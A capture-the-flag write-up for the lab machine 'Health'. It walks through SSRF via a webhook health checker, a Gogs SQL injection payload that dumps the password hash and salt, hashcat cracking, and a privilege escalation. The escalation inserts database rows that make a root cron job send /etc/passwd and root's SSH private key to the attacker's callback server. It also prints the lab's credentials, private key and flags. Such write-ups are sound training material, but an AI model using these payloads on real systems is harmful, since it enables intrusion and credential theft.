Health

Recon

nmap_scan.log
Open 10.129.72.190:22
Open 10.129.72.190:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -sC -Pn" on ip 10.129.72.190

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 32:b7:f4:d4:2f:45:d3:30:ee:12:3b:03:67:bb:e6:31 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChNRnKkpENG89qQHjD+2Kt9H7EDTMkQpzin70Rok0geRogbYVckxywChDv3yYhaDWQ9RrsOcWLs3uGzZR9nCfXOE3uTENbSWV5GdCd3wQNmWcSlkTD4dRcZshaAoMjs1bwzhK+cOy3ZU/ywbIXdHvAz3+Xvyz5yoEnboWYdWtBNFniZ7y/mZtA/XN19sCt5PcmeY40YFSuaVy/PUQnozplBVBIN6W5gnSE0Y+3J1MLBUkvf4+5zKvC+WLqA394Y1M+/UcVcPAjo6maik1JZNAmquWWo+y+28PdXSm9F2p2HAvwJjXc96f+Fl80+P4j1yxrhWC5AZM8fNCX8FjD7Jl7
|   256 86:e1:5d:8c:29:39:ac:d7:e8:15:e6:49:e2:35:ed:0c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOR0vwVJwhe/5A7dkomT/li2XC2nvv6/4J6Oe8Xeyi/YQspx3RQGz3aG1sWTPstLu7yno0Z+Lk/GotRdyivSdLA=
|   256 ef:6b:ad:64:d5:e4:5b:3e:66:79:49:f4:ec:4c:23:9f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINgiR3y8U+HenhKVoN1EFipbmC6EjO3fWwWPUqa8EeJh
80/tcp open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-title: HTTP Monitoring Tool
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

└─$ nmap -T5 --min-rate 1000 10.129.72.190
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE
22/tcp   open     ssh
80/tcp   open     http
3000/tcp filtered ppp

HTTP (80)

Writeup.png

I first tested the functionality and for payload MY_IP:80, for monitor MY_IP:81, interval */1 * * * * (every minute) and Always to be sent. The application crashed because of Allowed memory size of 134217728 bytes exhausted (tried to allocate 67108872 bytes). Backend is Laravel, it's in Debug mode and some code is leaked. The callback is done by file_get_contents function, which in a nutshell is like curl~~

Writeup-1.png

nmap showed port 3000, but it's filtered from outside. This functionality can lead to SSRF, but using the health.htb domain as parameters we get denied that host is not allowed.

Writeup-2.png

Create simple server that also handles POST requests

from http.server import HTTPServer, BaseHTTPRequestHandler
import logging
import json
from pathlib import Path
from datetime import datetime

OUTPUT = Path('./output')
OUTPUT.mkdir(exist_ok=True)

class LoggingHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        headers = json.dumps(dict(self.headers.items()), indent=2)
        logging.info(f"GET {self.path}\nHeaders: {headers}")
        self.send_response(302)
        self.send_header('Location', 'http://127.0.0.1:3000')
        self.end_headers()
        self.wfile.write(b"GET request received!")

    def do_POST(self):
        headers = json.dumps(dict(self.headers.items()), indent=2)
        content_length = int(self.headers.get('Content-Length', 0))
        post_data = self.rfile.read(content_length).decode()
        try:
            post_data = json.loads(post_data)
            with open(OUTPUT / f'{datetime.now()}.html', 'w') as f: f.write(post_data['body'])
            logging.info(f"POST {self.path}\nHeaders: {headers}\nBody: {json.dumps(post_data, indent=2)}")
        except:
            logging.info(f"POST {self.path}\nHeaders: {headers}\nBody: {post_data}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"POST request received!")

def run(server_class=HTTPServer, handler_class=LoggingHTTPRequestHandler, port=8080):
    logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s')
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info(f"Starting server on port {port}...")
    httpd.serve_forever()

if __name__ == "__main__":
    run(port=80)
Writeup-3.png

Port 3000 is running Gogs, which is self deployed Github instance~~

Writeup-4.png

Gogs - 'users'/'repos' '?q' SQL Injectionhttps://pentest-tools.com/vulnerabilities-exploits/gogs-go-git-service-sql-injection_3068

Vulnerability is using string concatenation instead of prepared statements.

Writeup-5.png

Exploit DB payloads failed, but exploit notes has simpler payload: https://exploit-notes.hdks.org/exploit/version-control/git/gogs-pentesting/

Get users and password

self.send_header('Location', "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/passwd/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--")
{"data":[{"username":"susanne","avatar":"//1.gravatar.com/avatar/c11d48f16f254e918744183ef7b89fce"},{"username":"66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37","avatar":"//1.gravatar.com/avatar/1"}],"ok":true}

The hash is not crackable, if we go to actual model for this version we see it has salt https://github.com/gogs/gogs/blob/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d/models/user.go

Get salt:

self.send_header('Location', "http://127.0.0.1:3000/api/v1/users/search?q=')/**/union/**/all/**/select/**/1,1,(select/**/salt/**/from/**/user),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1--")
{"data":[{"username":"susanne","avatar":"//1.gravatar.com/avatar/c11d48f16f254e918744183ef7b89fce"},{"username":"sO3XIbeW14","avatar":"//1.gravatar.com/avatar/1"}],"ok":true}

Password is PBKDF2 encrypted

// EncodePasswd encodes password to safe format.
func (u *User) EncodePasswd() {
	newPasswd := base.PBKDF2([]byte(u.Passwd), []byte(u.Salt), 10000, 50, sha256.New)
	u.Passwd = fmt.Sprintf("%x", newPasswd)
}

I wanted to crack this with john, but it got too complicated and went with hashcat.

Hash format: https://hashcat.net/wiki/doku.php?id=example_hashes - 10900 PBKDF2-HMAC-SHA256

➜ .\hashcat.exe -a 0 .\hashes .\rockyou.txt
sha256:10000:c08zWEliZVcxNA==:ZsB0ZFVFeB8QZPt/0Rd0U9uPDKLOWKnYHAS+Lm07oqDWwDLw/U74P0jXQ0nsGW9O/jc=:february15

SSH (22)

└─$ sshpass -p 'february15' ssh susanne@health.htb
susanne@health:~$ id
uid=1000(susanne) gid=1000(susanne) groups=1000(susanne)

User.txt

susanne@health:~$ cat user.txt
e80b3f93b00fce321eb3613256666765

Privilege Escalation

susanne@health:/var/www/html$ cat .env | grep -vE '^$|(=|null)$'
APP_NAME=Laravel
APP_ENV=local
APP_DEBUG=true
APP_URL=http://localhost
LOG_CHANNEL=stack
LOG_LEVEL=debug
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=MYsql_strongestpass@2014+
BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DRIVER=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1
REDIS_HOST=127.0.0.1
REDIS_PORT=6379
MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_FROM_NAME="${APP_NAME}"
AWS_DEFAULT_REGION=us-east-1
AWS_USE_PATH_STYLE_ENDPOINT=false
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SHOW DATABASES;'
+--------------------+
| Database           |
+--------------------+
| information_schema |
| laravel            |
+--------------------+
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SHOW TABLES;'
+------------------------+
| Tables_in_laravel      |
+------------------------+
| failed_jobs            |
| migrations             |
| password_resets        |
| personal_access_tokens |
| tasks                  |
| users                  |
+------------------------+
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM failed_jobs;'
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM migrations;'
+----+-------------------------------------------------------+-------+
| id | migration                                             | batch |
+----+-------------------------------------------------------+-------+
|  1 | 2014_10_12_000000_create_users_table                  |     1 |
|  2 | 2014_10_12_100000_create_password_resets_table        |     1 |
|  3 | 2019_08_19_000000_create_failed_jobs_table            |     1 |
|  4 | 2019_12_14_000001_create_personal_access_tokens_table |     1 |
|  5 | 2022_05_17_093614_create_tasks_table                  |     1 |
+----+-------------------------------------------------------+-------+
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM password_resets;'
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM personal_access_tokens;'
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM tasks;'
susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM users;'

Database is empty?... (I thought this was Gogs db)

Git shows some modification have not been committed to this application and most likely some cronjob is running in background.

susanne@health:/var/www/html$ git config --global --add safe.directory /var/www/html
susanne@health:/var/www/html$ git status
On branch master
Changes to be committed:
  (use "git reset HEAD <file>..." to unstage)

        renamed:    resources/views/welcome.blade.php -> resources/views/index.blade.php

Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git checkout -- <file>..." to discard changes in working directory)

        modified:   app/Console/Kernel.php
        modified:   app/Http/Controllers/HealthChecker.php
        modified:   app/Models/Task.php
        modified:   composer.json
        modified:   composer.lock
        modified:   database/migrations/2022_05_17_093614_create_tasks_table.php
        modified:   database/seeders/CreateTask.php
        deleted:    package-lock.json
        modified:   package.json
        modified:   public/.htaccess
        modified:   resources/js/bootstrap.js
        modified:   resources/views/index.blade.php
        modified:   routes/web.php
        modified:   webpack.mix.js

Untracked files:
  (use "git add <file>..." to include in what will be committed)

        app/Http/Controllers/TaskController.php
        app/Rules/
        public/css/
        public/js/
        public/mix-manifest.json
        resources/sass/
        resources/views/layout.blade.php
        resources/views/view.blade.php

Easiest way to observe what's running is pspy

└─$ sshpass -p 'february15' scp /opt/scripts/enum/pspy64 susanne@health.htb:/tmp/pspy
susanne@health:/var/www/html$ chmod +x /tmp/pspy
susanne@health:/var/www/html$ /tmp/pspy &
[1] 4966
2024/12/14 11:58:01 CMD: UID=0     PID=4990   | sleep 5
2024/12/14 11:58:01 CMD: UID=0     PID=4989   | php artisan schedule:run
2024/12/14 11:58:01 CMD: UID=0     PID=4988   | /bin/bash -c sleep 5 && /root/meta/clean.sh
2024/12/14 11:58:01 CMD: UID=0     PID=4987   | /bin/bash -c cd /var/www/html && php artisan schedule:run >> /dev/null 2>&1
susanne@health:/var/www/html/app/Console$ cat Kernel.php
<?php

namespace App\Console;

use App\Http\Controllers\HealthChecker;
use App\Models\Task;
use Illuminate\Console\Scheduling\Schedule;
use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
use Illuminate\Support\Facades\Log;

class Kernel extends ConsoleKernel {
    protected function schedule(Schedule $schedule) {
        /* Get all tasks from the database */
        $tasks = Task::all();
        foreach ($tasks as $task) {
            $frequency = $task->frequency;
            $schedule->call(function () use ($task) {
                /*  Run your task here */
                HealthChecker::check($task->webhookUrl, $task->monitoredUrl, $task->onlyError);
                Log::info($task->id . ' ' . \Carbon\Carbon::now());
            })->cron($frequency);
        }
    }

    /**
     * Register the commands for the application.
     * @return void
     */
    protected function commands() {
        $this->load(__DIR__ . '/Commands');
        require base_path('routes/console.php');
    }
}
susanne@health:/var/www/html$ cat app/Models/Task.php
<?php

namespace App\Models;

use App\Traits\Uuids;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class Task extends Model {
    use Uuids;
    use HasFactory;

    protected $fillable = ['webhookUrl', 'monitoredUrl', 'frequency', 'onlyError'];
    public $incrementing = false;
    protected $keyType = 'string';
}

Just download the source....

susanne@health:/var/www/html$ tar --exclude='vendor' --exclude='node_modules' -czvf /tmp/app.tgz /var/www/html
---
└─$ sshpass -p 'february15' scp susanne@health.htb:/tmp/app.tgz .
└─$ mkdir app && tar -xvzf app.tgz -C app

We already leaked the code with Debug mode, but monitoredUrl is read by file_get_contents which supports both files and urls. The issue from outside was middleware filter which disallows localhost and just files, but since we have access to database itself we can inject rows without frontend and read files.

Writeup-6.png

When we do Create from frontend new task gets added to tasks table.

susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e 'SELECT * FROM tasks;'
+--------------------------------------+---------------------+-----------+---------------------+-------------+---------------------+---------------------+
| id                                   | webhookUrl          | onlyError | monitoredUrl        | frequency   | created_at          | updated_at          |
+--------------------------------------+---------------------+-----------+---------------------+-------------+---------------------+---------------------+
| 74d2a046-de8d-4f10-9f4a-545a12ed9465 | http://10.10.14.113 |         0 | http://10.10.14.113 | */1 * * * * | 2024-12-14 12:42:57 | 2024-12-14 12:42:57 |
+--------------------------------------+---------------------+-----------+---------------------+-------------+---------------------+---------------------+
susanne@health:/var/www/html$ mysqldump -u 'laravel' -p'MYsql_strongestpass@2014+' laravel tasks | grep INSERT
INSERT INTO `tasks` VALUES ('aabfb5b6-9305-4c5c-b611-e65355f00c0b','http://10.10.14.113',0,'http://10.10.14.113','*/1 * * * *','2024-12-14 12:44:03','2024-12-14 12:44:03');

First let's test /etc/passwd

susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e "INSERT INTO tasks VALUES ('aabfb5b6-9305-4c5c-b611-e65355f00c0b','http://10.10.14.113',0,'/etc/passwd','*/1 * * * *','2024-12-14 12:44:03','2024-12-14 12:44:03');"

After some time it returns the callback.

Writeup-7.png

Grab the SSH key

susanne@health:/var/www/html$ mysql -u 'laravel' -p'MYsql_strongestpass@2014+' laravel -e "INSERT INTO tasks VALUES ('aabfb5b6-9305-4c5c-b611-e65355f00c0b','http://10.10.14.113',0,'/root/.ssh/id_rsa','*/1 * * * *','2024-12-14 12:44:03','2024-12-14 12:44:03');"
└─$ vi root.id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAwddD+eMlmkBmuU77LB0LfuVNJMam9/jG5NPqc2TfW4Nlj9gE
KScDJTrF0vXYnIy4yUwM4/2M31zkuVI007ukvWVRFhRYjwoEPJQUjY2s6B0ykCzq
IMFxjreovi1DatoMASTI9Dlm85mdL+rBIjJwfp+Via7ZgoxGaFr0pr8xnNePuHH/
KuigjMqEn0k6C3EoiBGmEerr1BNKDBHNvdL/XP1hN4B7egzjcV8Rphj6XRE3bhgH
7so4Xp3Nbro7H7IwIkTvhgy61bSUIWrTdqKP3KPKxua+TqUqyWGNksmK7bYvzhh8
W6KAhfnHTO+ppIVqzmam4qbsfisDjJgs6ZwHiQIDAQABAoIBAEQ8IOOwQCZikUae
NPC8cLWExnkxrMkRvAIFTzy7v5yZToEqS5yo7QSIAedXP58sMkg6Czeeo55lNua9
t3bpUP6S0c5x7xK7Ne6VOf7yZnF3BbuW8/v/3Jeesznu+RJ+G0ezyUGfi0wpQRoD
C2WcV9lbF+rVsB+yfX5ytjiUiURqR8G8wRYI/GpGyaCnyHmb6gLQg6Kj+xnxw6Dl
hnqFXpOWB771WnW9yH7/IU9Z41t5tMXtYwj0pscZ5+XzzhgXw1y1x/LUyan++D+8
efiWCNS3yeM1ehMgGW9SFE+VMVDPM6CIJXNx1YPoQBRYYT0lwqOD1UkiFwDbOVB2
1bLlZQECgYEA9iT13rdKQ/zMO6wuqWWB2GiQ47EqpvG8Ejm0qhcJivJbZCxV2kAj
nVhtw6NRFZ1Gfu21kPTCUTK34iX/p/doSsAzWRJFqqwrf36LS56OaSoeYgSFhjn3
sqW7LTBXGuy0vvyeiKVJsNVNhNOcTKM5LY5NJ2+mOaryB2Y3aUaSKdECgYEAyZou
fEG0e7rm3z++bZE5YFaaaOdhSNXbwuZkP4DtQzm78Jq5ErBD+a1af2hpuCt7+d1q
0ipOCXDSsEYL9Q2i1KqPxYopmJNvWxeaHPiuPvJA5Ea5wZV8WWhuspH3657nx8ZQ
zkbVWX3JRDh4vdFOBGB/ImdyamXURQ72Xhr7ODkCgYAOYn6T83Y9nup4mkln0OzT
rti41cO+WeY50nGCdzIxkpRQuF6UEKeELITNqB+2+agDBvVTcVph0Gr6pmnYcRcB
N1ZI4E59+O3Z15VgZ/W+o51+8PC0tXKKWDEmJOsSQb8WYkEJj09NLEoJdyxtNiTD
SsurgFTgjeLzF8ApQNyN4QKBgGBO854QlXP2WYyVGxekpNBNDv7GakctQwrcnU9o
++99iTbr8zXmVtLT6cOr0bVVsKgxCnLUGuuPplbnX5b1qLAHux8XXb+xzySpJcpp
UnRnrnBfCSZdj0X3CcrsyI8bHoblSn0AgbN6z8dzYtrrPmYA4ztAR/xkIP/Mog1a
vmChAoGBAKcW+e5kDO1OekLdfvqYM5sHcA2le5KKsDzzsmboGEA4ULKjwnOXqJEU
6dDHn+VY+LXGCv24IgDN6S78PlcB5acrg6m7OwDyPvXqGrNjvTDEY94BeC/cQbPm
QeA60hw935eFZvx1Fn+mTaFvYZFMRMpmERTWOBZ53GTHjSZQoS3G
-----END RSA PRIVATE KEY-----
└─$ chmod 600 root.id_rsa
└─$ ssh root@health.htb -i root.id_rsa
root@health:~# id
uid=0(root) gid=0(root) groups=0(root)

Root.txt

root@health:~# cat root.txt
9d19eaeb33c6c639ced76a860fc6ebaa

Last updated